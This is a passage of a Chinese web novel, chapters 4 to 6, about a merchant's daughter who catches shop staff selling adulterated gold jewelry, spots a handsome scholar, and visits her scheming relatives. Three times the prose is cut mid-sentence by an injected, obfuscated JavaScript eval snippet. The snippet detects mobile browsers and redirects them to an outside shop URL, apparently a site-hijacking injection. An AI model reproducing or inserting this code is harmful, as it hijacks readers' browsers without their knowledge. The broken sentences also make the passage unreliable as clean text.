过了半盏茶的功夫，苏玉照才开口，她把目光落到二掌柜陈开信身上：“陈二伯，这事我只能拿你是问了。大伯伯一向只负责接待贵客，迎来送往事宜，陈三叔单管工匠师傅和伙计们，至于楼里的账务盘点，都是二伯你一直经管的，这两千两的谬差，你怎么解释，可别跟我说，你毫不知情。” 二掌柜陈开信面不改色，向前一步，从容道：“此事我自然知道，也是我批了条子让伙计去钱庄支领的。” 苏玉照还没说什么，李荣抢先斥道：“开信，这就是你不对了，你派人去支金锭，怎么不跟我说，我这账上记得可是六千两，你老实说，你多支的两千两哪儿去了？别是你私吞了吧。” 陈开信瞥了他一眼：“命人做成金首饰，前头楼里卖了。” “不可能，我这六千两跟前头楼里所卖金饰重量是对得上的，你分明胡说，肯定是你私自拿出去另卖了，没有入公账。”李荣怒道，“檀林拿你当亲兄弟，你怎么能这么坑他？” 陈开信冷笑一声：“李荣，你这话是问我呢？” 4. 第4章 李荣一愣，就见陈开信从旁边一个伙计手中拿过一个账本，递到苏玉照面前：“这是那两千两的账册，谁人支取，谁人打造，谁人检验，做了什么首饰，卖与了哪个府上，都记得明明白白，请姑娘过目。” 苏玉照接过来翻看，李荣好奇心起，也走到苏玉照身后跟着看，越看越眼熟，这跟他记得账，不是一模一样么，若非要找差别，也只是做首饰的工匠不同而已。 “开信，你扯谎也该走走心，你记的这些，别是从我的账本子上抄的吧。这几笔买卖，皆已经由吴云良和张俊川与买家交割明白，我账上记得清清楚楚，你如何又同买家做了一遭？”李荣大声质问道。 “哼，为何？”陈开信见他仍不知悔改，还在这里贼喊捉贼，气得一拳擂在他肩上，“还不是因为你们做出的金饰掺假掺杂，砸了我们‘万宝楼’的招牌！我为了给你们收拾烂摊子，只好重新做了足金的送去，又给人家赔了多少不是，你还在这里冲我大呼小叫的。我倒是想问你呢，檀林对你哪里不好，你这样害他？你成心是要‘苏记’倒了你才开心？” “你......你胡说什么？”李荣吓得心惊肉跳，说话都有些语无伦次。 陈开信气得发抖：“你还嘴硬。来人，把张俊川这两个月做的首饰头面都抬上来。” 不多时，五六个小厮抬着一个大木箱子进来，放到大厅中央，打开盖子，瞬间露出金光灿灿的满满一箱子。 李荣怔在当场，张俊川和吴云良都如遭雷击，没了魂儿似的呆若木鸡。 陈开信向苏玉照施礼道：“姑娘，这些都是我用足金首饰从买家那里换回来的，皆出自张大师傅之手，是否作假姑娘一验便知。” 苏玉照示意银屏从箱子里拿个首饰来给她瞧，银屏过去，取了个缠丝穿花臂钏回来，交给苏玉照。 苏玉照手上一沉，举起臂钏来细瞧，只见内圈刻着一个小小的“卍”字纹，这正是万宝楼的标识。 除此之外，万宝楼的每位大师傅，都有自己独特的暗标，刻在首饰上方便溯源。 这件臂钏上，“卍”字纹旁边还有一朵梅花。 万宝楼大师傅中，只有张俊川的暗标是梅花。 “呦，这还真是张大师傅做的。”苏玉照态度平和，笑着劝陈开信道:“二伯伯莫生气，荣叔也别恼，俗话说‘真金不怕火炼’，不如就烧一烧，自然真相大白。也许只是场误会也未可知。” 张俊川一下子就慌了，急得冲出来，护到箱子上:“不许烧，不许烧，这都是我呕心沥血，费了多少功夫做出来的，你们谁敢动，我跟谁拼命。” “张俊川，你昏了头了，少东家面前，岂容你放肆。”三掌柜陈开义命人把他押到一边，见他还是大喊大叫的，便拿麻布把嘴也堵上了。 李荣和吴云良想动，也被人按住了肩膀。 当下便有伙计把箱子中成堆的首饰，一件件丢到大坩埚里，架火添柴，美仑美奂的首饰头面转瞬间都化成金水，最后熔炼出二十几块儿馒头大小的金疙瘩，上称一称，只有一千四百多两。 陈开信看向李荣：“铁证在此，你还有何话说？” “我......我......”李荣张惶片刻，突然对苏玉照说，“玉娘，这都是吴云良和张俊川串通捣鬼，我只是如实记账，此事跟我毫无干系啊。” 苏玉照点点头，果然是“不见棺材不落泪”，于是扭过脸不再理他。 堂下陈开义已命人将吴云良绑了，与张俊川一并押在一旁。 “你还狡辩！”陈开信气极，几步上前，一把扯下张俊川口中的麻布，“你说，你们和李荣是不是一伙儿的？” 张俊川眼见着自己做的首饰头面一件件熔成金水，早已面如死灰，两眼直愣愣的，跟本听不见陈开信说什么，只知道他已身败名裂，这辈子都完了。 一旁的吴云良“噗通”一声跪下了：“少东家饶命，此事确实都是李荣的主意，我和张俊川都是听了他的蛊惑，财迷心窍。求少东家开恩，千万不要将我送官。这是李荣给我的一百两银票，请姑娘收了，除此之外，我真的再没贪墨一文了。” “那分明是你自己的脏银，怎能赖到我头上。”李荣道，“你有什么证据证明这银票是我给你的，上边又没写我的名字。姑娘不要听他胡说八道，他自己做的好事，想赖到我头上让我顶缸，他好金蝉脱壳，姑娘千万别上他的当。” 吴云良难以置信地看着李荣，气得紫涨了脸，却无话可说。 银票是李荣背地里给他们的，只有张俊川能作证，可张俊川正是罪魁，他作的证也没人信。 “我能作证。”苏玉照起身来到吴云良面前，突然勾唇道，“李荣给你银票，是我亲眼所见，亲耳所闻，我不但知道他给了你一百两，还知道他也给了张俊川一百两。” 说着冲张俊川一指，押着他的小厮会意，立刻在他身上翻了起来，果然在张俊川怀中搜出一张一百两的银票，小厮将吴云良手中那张银票一并取了，呈到苏玉照面前。 苏玉照只淡淡看了一眼，一旁的金环接了过去。 李荣这才慌了：“这真不是我给他们的，玉娘，你信荣叔，是他们伙同二掌柜，要给我泼脏水，分明是他们看我不顺眼，觉得我和他们不是一路的，出这歹计，要把我从总账房的位置上挤下去。玉娘，你别被他们骗了。” 苏玉照乜斜着李荣，声音冷了下去：“今日午间，你们三人在酒楼，如何分赃，如何结盟，如何谋算另起炉灶，我都听得清清楚楚，若非为了揪出你这个主谋，我早将他两个擒了，岂会容你们到今日。先前你早早认了，我还敬你是条汉子，结果看来，你竟是个缩头乌龟，死道友不死贫道的真小人，他们两个也算是眼瞎，跟错了人，真真是令人可怜又可笑。” “玉娘，我错了，你好歹饶我这一遭。”李荣终于服软，“玉娘，荣叔给你跪下了，你看在檀林兄面上，我们兄弟一起打拼这么多年，好容易才有今天，你给荣叔留条活路。”说着便磕头。 苏玉照侧身避开：“李荣，若你单单只是偷金倒还可恕，但你千不该万不该，不该将这些掺杂不纯的首饰，当成足金的卖出去。趟或二掌柜没发觉，待日后再让人家查出来，‘苏记’几十年积累下来的信誉，就会毁于一旦。哦，你自然不怕的，到那时候你早自立门户去了，苏记是死是活，又与你何干呢？所以你也不必如此，我也不能饶你，我说过，查出来是要送官的，有求我的功夫，你还是想想怎么去府衙疏通疏通吧。来人，拟状纸，报官吧。” 三人仍求饶不休，被陈开义堵了嘴，命人押了下去。 苏玉照重新归坐，扫视众人一圈，缓缓道：“诸位师傅，万宝楼的生意，在京城不说首屈一指，也是行内翘楚，能有今日的繁荣，全赖各位勤勉劳碌，我和父亲都看在眼里，铭记心上，只要你们能忠诚不二，我必不相负，但若再有背主之事，李荣几人就是例子。” 众人都躬身施礼：“少东家放心，我等必兢兢业业，不敢懈怠。” “好。”苏玉照道，“自今日起，诸位的薪俸每两年涨一成，若是生意好，逢年过节另有赏赐。” 众人闻言都喜上眉梢,掰着手指头算自己的月钱：“哎呀，多谢少东家，前世修来多大的福分，才能跟到您这样大方的主家，咱们真是好造化。” 苏玉照抬手：“且不忙谢我。我还要叮嘱你们一件事，既涨了月例，那些暗地里偷偷摸摸的小伎俩，就一概免了吧，再莫说是什么这一行不成文的规矩，不管别的地方怎样，在我‘苏记’，没有这样的规矩，你们可记下了？” “是，是，这是自然，我们都记下了。” 苏玉照：“好了，都各自去忙吧，我再略坐坐就回去了。” 待众人都散了，三位掌柜陪着苏玉照来到前楼，一层层上去，边走边大致瞧过一遍。 一楼连着大堂，专卖金银首饰头面，各种样式的累丝凤钗、攒花宝簪、点翠华胜、流苏步摇，还有金镯、戒指、臂钏、领扣、璎珞、腰佩，分门别类的摆放在博古架上的紫檀木锦盘中，供客人挑选。 二楼则是卖玉石珍珠、外国舶来的红绿蓝紫各色宝石，以及珊瑚、琥珀、玳瑁、琉璃等各种材质的饰品。 三楼定制各色玩器摆件，小到七件事儿、手把件、金银香球儿，大到炕瓶、屏风、白玉碟、琉璃盏，应有尽有。 四楼摆的都是珍藏的精品首饰，比如油润无暇的和田羊脂玉镯，再比如华丽繁复的重楼子凤冠，要么材质稀缺，要么手艺一绝，都是别家买不到的珍品，价值连城。 五楼不卖东西，是东家和几个掌柜办公理事的地方，也是有贵客来了用以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371001|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招待的场所。 苏玉照径直蹬阶来到五楼，这里专门有她的一间房间，几人进了屋，分次序坐了。 金环、银屏忙把窗子打开，点上木樨冰片香，又将花肆新送来的菊花挑了几盆搬进来供到几案上，特意放了一盆“鹅毛粉黛”在苏玉照手侧的桌子上供她赏玩。 苏玉照：“你们也忙了一天了，到西间屋里歇歇吧，我同掌柜们说几句话。” 金环、银屏福了福身，便退到屏风后，在绣凳上坐了。 大掌柜陈开德道：“幸亏姑娘英明决断，终于把这个毒瘤连根拔出，既惩治了贼首，又竖了威信，还收了众人的心，可谓一箭三雕。不是老朽奉承，便是老爷在家，也未见得有姑娘这般雷厉风行，可见咱们‘苏记’未来可期。” 苏玉照笑道：“大伯伯都要给我夸出花儿来了，还说不是恭维，要不是有几位叔伯相佐，我自己一个人也不能把他们拿下马来。我还得多谢你们呢，李荣与我父亲一向交好，要是父亲在家，说不定就心软放了他。等父亲回来，知道我如此惩治，恐怕还会生气，到时候几位叔伯还得帮我描补描补，陈明厉害。” 陈开信道：“这有什么的，姑娘把心放到肚子里，檀林最明事理的，岂能不知道这里头孰轻孰重。” 苏玉照点点头。 陈开信又道：“如今李荣去了，他这个总账目的位置空悬，楼里每日财务进出，总也离不了的，姑娘看看名册，寻个老实又机敏的补上吧。” 苏玉照思忖片刻：“二伯派人去钱庄支银子时，账目是谁记的，我看着倒记得清楚明白，字写的也极好。” “哦，我怕走漏消息，自己心中默记了，从外头寻了个写字先生帮忙誊录的。”陈开信道。 苏玉照问：“从哪儿寻的？” “就在咱们楼对面，吴家成衣铺门脸旁边，是个摆摊卖字的年轻书生，才来没多久，所以姑娘没见过。” “哦，这倒罢了，咱们楼里的买卖，还是用知根知底的人才好。二伯看谁好，就先让他代笔吧，等我慢慢再找合适的。”苏玉照道，“金环、银屏以后会每日来查一遍账，有不妥的速来回我，我闲了无事，也会过这边来。” “是。”几人都应诺。 苏玉照道：“时辰不早，我也乏了，你们回吧，我过一会子自己回府就是。” 三个掌柜答应着出去了，苏玉照透过西窗看向外面，只见晚霞漫天，秋色洇洇，让人颇有荡气回肠之感。 兴致上来，便也来至西间，侧身坐到临窗的贵妃榻上，手臂搭在窗边，眺望远处的雾霭流岚。 金环、银屏没有打扰，只端来一盒各色精致点心，并暖了一小壶葡萄奶酒，放在榻边，便悄悄退在下首，凭苏玉照自取自食。 黄昏苦短，苏玉照才吃了两盅酒，展眼间已是金乌西坠，晚霞也变成丝丝缕缕的青黛色。 万宝楼下车水马龙，做买卖的正在收摊，出来逛集市的人们也收拾着准备归家，只有做晚食的店门前热闹，有些人逛了一天懒怠回去生火烧饭，便从店里买了现成的酒菜带走。 看够了风景，苏玉照便低头看人，不期然瞥见一个身影，正站在街对面，闷头收拾一张桌子上的笔墨纸砚。 纵是如此居高临下的角度，也能看清那人身姿挺拔，如松如竹。一身青蓝直裰，在熙熙攘攘的人群中显得格外沉静。 只可惜离得太远，看不清样貌。 苏玉照站起身，踩在贵妃榻上往外探头，金环、银屏连忙上来拉住:“我的祖宗，仔细跌了脚摔个倒栽葱，小命不保。” 苏玉照手指着窗外:“你们帮我看看，那个书生长得俊不俊？” 金环、银屏也低头看了一回，不由好笑:“姑娘又不是孙猴子，难道会火眼金睛，离得这么远，都看不清眉毛鼻子，哪里就知道俊不俊了？” 苏玉照从贵妃榻上跳下来，冲二人一挥手:“走，这里看不清，咱们下去瞧。” 说着便风风火火地往楼下跑。 金环、银屏只得跟上，一边追一边说:“姑娘慢点，小心崴了脚，不是顽的。眼见都十七八岁了，不说该避嫌，遇见个俊秀郎君，还是这么着，整日厮混，日后如何找婆家呢。” 苏玉照回头笑道:“找什么婆家，我找个赘婿，给你们娶回苏家做姑爷，不好么？” 5. 第5章 金环、银屏都臊了个大红脸：“姑娘又浑说，便是你真这样想，老爷夫人也必不肯的。前儿我还听夫人说，等姑娘出嫁，这整个‘万宝楼’都给姑娘做嫁妆呢。” 苏玉照在楼梯口刹住脚，无奈地叹了口气：“爹娘就是迂腐古板，虽拿我当男儿养，真到婚姻大事上，还是觉得我终究得嫁出去。我们苏家的产业，做什么便宜了外姓人。正经的我寻个长得好看，又老实听话的小郎君，养在家里充充门面，不过多费几两银子，楼里的生意我自会料理。等过一二年，再生个孩子，让他在家相妻教子，爹娘也能安享天伦之乐，一家人一辈子吃穿不愁，富贵平安，还有什么不知足的。” 金环笑道：“姑娘小声些，好不知羞，成亲生孩子的事，也是能大庭广众吵嚷的。” 苏玉照倚在栏杆上，不以为然地撇撇嘴角。 金环又道：“夫人倒不是顽固不化，只是咱们家虽有些恒产，但到底是商贾，只富不贵，恐不能长远。如今虽借着二老爷的势，姑娘还能跻身在王侯贵戚内眷之中，和那些官宦夫人、千金小姐常来常往的，若不趁此将大事早早定下，等日后二老爷家两位小姐都出了阁，二太太也就没多少心思带姑娘们出去交际了。到那时，再想得贵婿，就更难了。” 苏玉照听了这话更气恼，摆了下手道：“你快休提这个，我和那些人来往，为的是楼里的生意，难道是为了婚事不成？你没见因了这个缘故，我爹娘在二叔一家面前，就矮声下气的，不但让二婶婶掌家，家里正房也让给了二叔居住，说什么他为官做宰的，难免应酬多，总要有个气派威风的会客处，他是气派威风了，咱们自己却委屈到东跨院去住。还有家里的吃穿用度，往来客礼，佣人的月例银子，哪处不是咱们出钱，一年大几万的银子填进去，连个响儿都没有。何苦来，我又不是没人家要，巴巴地指望二婶儿给我找婆家？” “可怜天下父母心。”金环叹道，“夫人也是希望姑娘有个好归宿。” “若有好的，二婶婶还要紧着自己家两个女儿呢，哪里会想到我，不过是借着这个由头，白使我家的银子罢了，凭我怎么劝，母亲就是不肯听。”苏玉照摊手，“放着好日子不过，难道非要把我嫁到高门公侯家去，任人磋磨才肯罢休。” 一直听着她们说话的银屏“噗嗤”笑了一声，“姑娘快莫说笑，京城里哪家公子没听过姑娘的威名，整日里一起打马游街、射箭投壶的，都互相熟稔，无论嫁到哪家，谁还敢给姑娘气受不成。” “是啊，我本来就跟各府里相熟，无论公子管事，还是小姐嬷嬷，我哪个不认识？”苏玉照道，“所以说，‘万宝楼’的生意，都是靠咱自己维系的人脉圈子，又不是靠着二婶婶牵线搭桥，何必这么供着他们，照我说，不如早日分家的好。” 金环劝道：“终究不一样，有二老爷在，说出去姑娘就是官宦人家的小姐，又有百万钱财傍身，谈婚论嫁媒人也会尽捡着好的来说。若真分了家，怕是要跟二房撕破脸，倒那时，二老爷不肯认亲，小姐名义上就只是商贾出身，身份上就落了一等，够不上世宦大家，难道要嫁个破落户不成？老爷、夫人巴结着二老爷一家，全都是为了姑娘的前程，姑娘也该体谅一二，莫要执拗，白惹得老爷生气，夫人又伤心。” 苏玉照不忿道：“我何尝不知道他们是为了我，所以日常在家，装也装出个亲亲热热的样子来，可这什么时候是个头呢，便是我听她们摆布，乖乖嫁为人妇，到时候还是要倚仗娘家，难道要爹娘供养那一大家子一辈子不成？” “就是，我也觉得姑娘还是招赘婿的好。”银环道，“京城那起子膏梁纨绔败家子儿，金玉其外败絮其中，我这几年冷眼瞧着，没一个好的，一起吃酒玩乐还好，若真嫁给其中一个，便把姑娘白白糟蹋了。” “呸，没脸没皮的小蹄子，怎么就没好的？若这些世家公子里都挑不出好的，姑娘去招婿，就能招到好的了？”金环啐她道，“一般什么样的人家，才舍得让自己儿子去当赘婿？要么穷的吃不起饭，要么无才无德狂饮烂赌，更有甚者眠花卧柳下流浪荡。所看中者，不过是姑娘的美貌和苏家的钱财。姑娘想要老实听话的，哪有那么容易，就算有，只怕是装的，等将来有了孩子得了势，还不知怎么样呢。你没听过还有什么三代还宗的呢，两口子都七老八十，黄土都没到头顶了，爷爷还威逼着儿子孙子改姓呢。” “哎呦，好金环，我知道你为我好。我既然要招婿，自然也要好好挑一挑，头一件得自己喜欢，再者他也得对我一片真心。即便是装的，那他最好夹起尾巴装一辈子，不然我定是要和离，将他扫地出门的。” 苏玉照挽着她的胳膊哄道，“人生在世，好歹只活一辈子，自然要按自己的心意。若没这么个人，我便不成亲，又能如何呢？至于百年之后，我两眼一闭，管他还宗不还宗呢，古来多少世家大族、皇权王朝，也有兴替的时候，何况我家这么个小小的金楼？只我活着的时候，它能屹立不倒，就算造化了。” “姑娘又说这种话，我总听不懂。”金环道，“谁不盼着自家好，长长久久的富贵平安呢。” 苏玉照懒得解释，忽然想起自己是要下楼去瞧人的，忙提裙奔下楼梯，及至万宝楼大门外，街道上已经行人寥寥，往对面的“吴记成衣铺”望去，只有一个老翁在往店里搬桌子，哪儿还有什么小郎君。 “哎呀，都怪你，只顾拉着我说话，倒混得我忘了正事。”苏玉照笑着在金环鼻尖儿刮了一下。 金环笑道：“瞧男人算什么正经事，姑娘该记我大功一件，今儿保住了姑娘大家闺秀的清誉。” 苏玉照笑着不理她，穿过街巷，叫住正要掩门的老翁：“吴伯，方才是不是有个写字先生在你门前摆摊儿来着？” 吴掌柜见是她，热络地打招呼：“哦，苏大姑娘，今儿来楼里玩啊。倒是有个写字先生，来了大半个月了，看着咱们这条街人多热闹，跟我说情，要赁我门前一块地方，摆摊卖字，原说一月给我一百钱，我见他是个年轻后生，又是个读书人，出来讨生活不容易，便不要他的钱，又借给他桌子凳子。谁知他往我门前一坐，竟有许多大姑娘小媳妇，借着来我店里买衣服量布，偷偷拿眼瞧他，倒让我店里生意好了不少，可知做人是要行善事结善缘的。怎么，苏大姑娘是要买字啊，对联还是匾额，留下我明天让他一早来了写好，给送到楼里去。” 苏玉照含笑摇头：“那倒不必，我是想给家父写封信问平安，内容太长也不便转述，既然他明日还来，我明日再寻他就是。” “对对，既是家书，的确不便转达。”吴掌柜点头说着便要关门。 苏玉照突然按住门环，往前悄声问道：“哎，吴伯，你为什么说有好多女子来偷偷瞧他，那写字先生长得很俊？” 吴掌柜一拍手，笑道：“那自然是极清俊的，据说已过了乡试，入京来以待明年春闱的，虽眼前落魄，日后前程却不可限量呢。更难得的是他身上那种文人气韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371002|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，老朽也形容不出，姑娘明日来瞧了便知。” 辞别吴伯，已是暮色四合，苏玉照便吩咐车马，带着金环、银屏回苏府。 此时路上已没什么人，车夫便擎鞭子在马背上轻轻一抽，让马匹放开步子跑得更快些，晚风不时吹起窗帘，街道两侧的店铺行人飞快向后掠去。 苏玉照索性让银屏把帘子卷起来，自己靠在窗边，百无聊赖地往外看。 转过一个拐角，忽然一道颀长人影从眼前一晃而过，苏玉照视线瞬间被吸引，不由向后望去。 她一眼认出，那人正是楼下的写字先生，一身半旧的青蓝长衫，飘带束发，背着个书篓，里头有几轴宣纸，几支毛笔。 马车从他身畔驶过，那书生愣了一瞬，停下脚步抬头看了一眼，面上没甚表情，半低下头继续赶路。 苏玉照却看清了他的容貌，面白似冷玉无暇，凤眸若寒潭微漾。她也明白了吴伯为何夸他气韵，当真如竹风浩浩、松雪涛涛，明月迢迢、君子昭昭。 膏梁纨绔和市井无赖苏玉照都见得多了，却还未见过这样清净无尘的男子，况又长得如此绝色姿容，不由又拧身转到后窗，撩开窗帘多瞧了几眼，直到马车又拐了个弯，这才收回目光。 这期间那男子一直垂眸看路，仿佛不知道有人盯着他瞧似的，十分守礼。 苏玉照对此愈发满意。 “到家了，姑娘笑什么呢？”银屏推她道。 苏玉照回神，摸了摸自己的脸：“胡说，谁笑呢。”说罢也不管她们两个，自己跳下车，先从东角门进了东跨院，去给崔夫人请安。 崔夫人闺名圆圆，也是富商之女，祖籍金陵，崔夫人其父与苏玉照的祖父乃是结拜兄弟，崔夫人和苏檀林也是青梅竹马的情谊，待长大些稍解人事时，两家一拍即合给他们二人定了亲。 两人成亲不久，苏家老二苏柏川金榜题名，在官场里步步高升，苏家也因此光耀门楣，便举家从金陵搬来京城。 后来崔夫人父母相继离世，崔家又无旁枝别系，崔夫人便将家中铺面都折卖了现钱，在京郊置了些田产，全当傍身。 苏玉照进屋的时候，崔夫人正带着丫头们裁鞋样子，见她回来，便放下小银剪子，笑着拉她坐到身边，揽在怀里:“怎么这么晚才回来，用过饭没有？” 苏玉照靠着她的肩膀撒娇:“只吃了两块云片糕。娘在家做什么呢？” 崔夫人往桌子上努嘴:“往前重阳节，你父亲又不在家，我想着做双鞋当节礼，孝敬给老太太。” 苏玉照拿起鞋面看了眼，只见松底弹墨的绸面上绣着五蝠捧寿团纹，十分精巧:“母亲又熬心费神的做这劳什子干什么，不拘从哪个店里买两双来，送去也就罢了。” 崔夫人道:“既是孝心，哪有假手于人的。” 苏玉照道:“我今儿已经买了一百盆名品菊花送到福安堂去了，母亲就算不再送别的，祖母也挑不出咱们的错儿来。” “已经快做好了，绷上底子就能穿。”崔夫人笑道，“你不用管这些小事，走吧，咱们先去给老太太请安去。” 苏玉照诧异:“怎么不吃了饭去？” 崔夫人道:“你二婶婶方才遣了人来请，特叫往那边去吃。” “哼。”苏玉照冷笑，“她哪里是叫我们去吃饭，分明是找我们要钱的。” “人家特意来请，我也不好拂她的意，且去了再说，若要钱，咱们掂量着给些就是了。” 6. 第6章 崔夫人拍拍她的手，拉着她出屋门。 东跨院和正院间隔着一道墙，为了方便往来，便在墙上开了个月洞门，日常有婆子值守。 从月洞门走进正院，沿着抄手游廊向北一转，就是垂花门，进去先是苏柏川夫妇的屋子，再往北才是老太太居住的福安堂。 二人带着丫鬟婆子一路走来，刚走到福安堂前，就见一个男子从屋里踱步出来，两厢遇上，皆驻足施礼避让。 “二叔万福。”苏玉照是小辈，先行了礼，“您不是奉旨南下巡查了吗，几时回来的，可是公干办完了？” 苏柏川向崔夫人抱拳打了个躬:“多日不见，嫂嫂一向可好。” 崔夫人也略屈膝颔首，并未说话。 苏柏川直起身，又对苏玉照笑道:“玉娘出落的愈发亭亭玉立了。我今儿午后刚到家，先来给母亲请安，说了会子话，本来要去给大哥嫂嫂请安，偏我回来，大哥又不在家，这一二年间，我们兄弟三个竟总不能聚齐，实在叫人伤怀。” 苏玉照道:“这有什么的，我爹爹最迟到年底必回来的，到时候再请叔叔们吃酒。今日二叔归家，该摆宴给二叔接风洗尘的，我这就进去，回明了祖母，帮着二婶婶置办两桌席面。” 苏柏川笑道:“嫂嫂你看，还是玉娘最懂事，不像她几个妹妹，一见我回来，只问给带了什么礼物，连道乏也不会说一声。” 崔夫人道:“玉贞，玉明还小呐，女孩儿家不可苛责太过。” “嫂嫂说的是。”苏柏川恭谨道，“母亲也说晚上一家人聚聚，我这就先找老三去。” 苏柏川口内虽如此说，脚下却不见挪动。 崔夫人蹙了蹙眉，正要从他身旁过去，就见苏柏川的夫人郑氏带着人从屋里笑迎出来:“哎呦大嫂、玉娘，你们来了，怎么不进屋来，只站在黑灯影儿里做什么。” 苏玉照抢先迎上去，挽着郑夫人的胳膊道:“就要进屋来的，只是碰到二叔，少不得问安。一大帮婆子丫头跟着呢，我又不怕黑，二婶婶放心。” “快进来吧，老太太等着呢。”郑夫人口内说着，却皮笑肉不笑地白了苏柏川一眼，“老爷快去请三爷吧，再晚了他又吃醉了酒，不知宿在哪里了。” 苏柏川自觉无趣，转身走了。 她们妯娌进了屋，只见老太太严氏正歪在西暖阁的罗汉床上，老三媳妇姜氏和几个姊妹也都在，正围坐着说笑。 论起来，苏家人丁也算兴旺，只有老大苏檀林一这一脉单薄些，两口子年近不惑，膝下也只有苏玉照一个女儿。 老大苏檀林又不是严老太君的亲生儿子，他原是苏老太爷的原配夫人陈氏所出，长到两岁时吴夫人仙逝，苏老太爷来年又续弦了严氏。 那时苏檀林还未记事，陈氏去了着实哭闹过一段时日，只嚷着要娘，后来就忘了。从此便由严氏教养长大，只拿严氏当作亲母孝敬。 严氏后来又生了两子一女，老二苏柏川是老太君的心头肉，他又争气，年纪轻轻就中了举，被内阁首辅郑大人看中，将家中小女郑雁书许配给他，从此在官场如鱼得水，平步青云。 唯一让严氏不悦的，就是郑夫人连生了两个女儿郑夫人又是个拈酸吃醋的，仗着娘家的势，把持着丈夫不许纳妾，以至二房同大房一样，至今后继无人。 严老太君为此日夜忧心，大房没儿子她是不管的，反而乐见其成。 玉娘眼见到了出阁的年纪，等苏檀林夫妇百年之后，一应家产还不都是自己亲儿子亲孙子的。 可二房空悬她心中是极不满的，但只碍于郑家的权势，她也不好明着怎么样，只能暗地里挑唆儿子，教他偷偷娶个外室养在外头，等生了儿子再接进府来。 凭她姓郑的再怎么嚣张跋扈，总不能不让他苏家的子孙认祖归宗吧。 严氏盘算得好，可惜苏柏川是个性子执拗的，她几次三番提起，老二都充耳不闻，逼得紧了还嫌她聒噪，越发躲着她，连请安都不怎么来了。 好在郑氏现在又有了身孕，虽还未显怀，也已有三个月，坐稳了胎气。严氏只盼着这胎能生个孙子，就算圆满了。 至于老三苏桦山，因有大哥挣来的金山银山，又有二哥的权势庇佑，出门到哪儿人们都尊称一句苏三爷，他便耽于享乐，文不成武不就。不过他媳妇姜慧娘倒争气，一连生了三个儿子，两个大的已开蒙入学，最小的这个才刚蹒跚宣布。 苏桦山自觉面上有光，腰杆子也硬起来。逢人常说，他虽没甚大本事，但大哥二哥家一群黄毛丫头，未来苏家的产业和门楣，少不得还是要靠他家这一枝儿，于是众人对他愈发奉承，拿好话哄着他做东请客。 此外，严老夫人还有一个幺女，闺名苏桂枝，比苏玉照大只五六岁。前几年出了阁，高嫁进伯爵府刘家，世族规矩大，除了逢年过节，苏桂枝平日不怎么回来。 苏玉照跟着崔夫人给严太君请过安，便坐到姊妹们旁边。 郑氏端来个果碟儿，里头放着新鲜带叶儿的柑橘，摆到苏玉照面前，笑道:“大嫂和玉娘尝尝，这是你二叔从岭南带回来的，截了整条枝，又用沙土埋了一路，才刚摘下来洗干净的，只图吃个新鲜吧。” 苏玉照欠身让道:“祖母和妹妹们吃吧。” “我们都尝过了，这些是给你们留的。”郑氏笑道。 苏玉照谢道:“这新鲜柑橘实不易得，想来是二婶婶害口，二叔特意给婶婶带的，我们也跟着沾口福了。二叔忙于公务，还不忘给婶婶带吃食，可见是时时记挂着。” 郑氏红了脸:“嗐，我早好了。起先他临出门时，我不过提了一嘴，说口苦，想吃点酸甜的，偏他就当真了，大动干戈的又生事。” 严母听了喜道:“我生柏川时也是害酸，这可是个好兆头。雁书你快也坐吧，仔细久站动了胎气。” 郑氏一面坐一面道：“便再来个女儿，若有玉娘这般出息，我也喜欢，可别像她两个姐姐，诸事不通，只知道贪玩贪睡，叫人操心。” 严母一听便沉了脸，又不好说教她一个有身子的人，只得自己生闷气。 崔夫人在一旁道：“贞儿、明儿听话乖巧，琴棋书画各有所长，又擅针线刺绣，这才是大家闺秀的体统，弟妹把她们教得这样好，怎么还不知足呢。” 郑氏道：“比起别家一般的姑娘来，她两个也算是懂事的，只是比不上玉娘，能独当一面，替大哥大嫂分忧。” 崔氏笑道：“你快休提，她还替我们分忧呢，只会给我添愁罢了。没见前儿我让她绣个鸳鸯枕面，拿针戳弄了半日，便不耐烦扔到一边，我取来一看，竟是两只肥鸭子，配色花花绿绿，线扯的乱七八糟，像猫挠出来的。人又轻浮，总不着家，真真叫人气恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371003|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。等日后到了婆家，得立多少规矩才改呦。” 听着她二人互谦，苏玉照和玉贞、玉明互相对视一眼，均面露苦色。苏玉照拿了两个柑橘分给二人，三姊妹闷头默默剥橘皮，谁也不说话。 只有儿子没女儿的姜氏插不上话，乐得坐在一边磕着瓜子看她们磨牙。 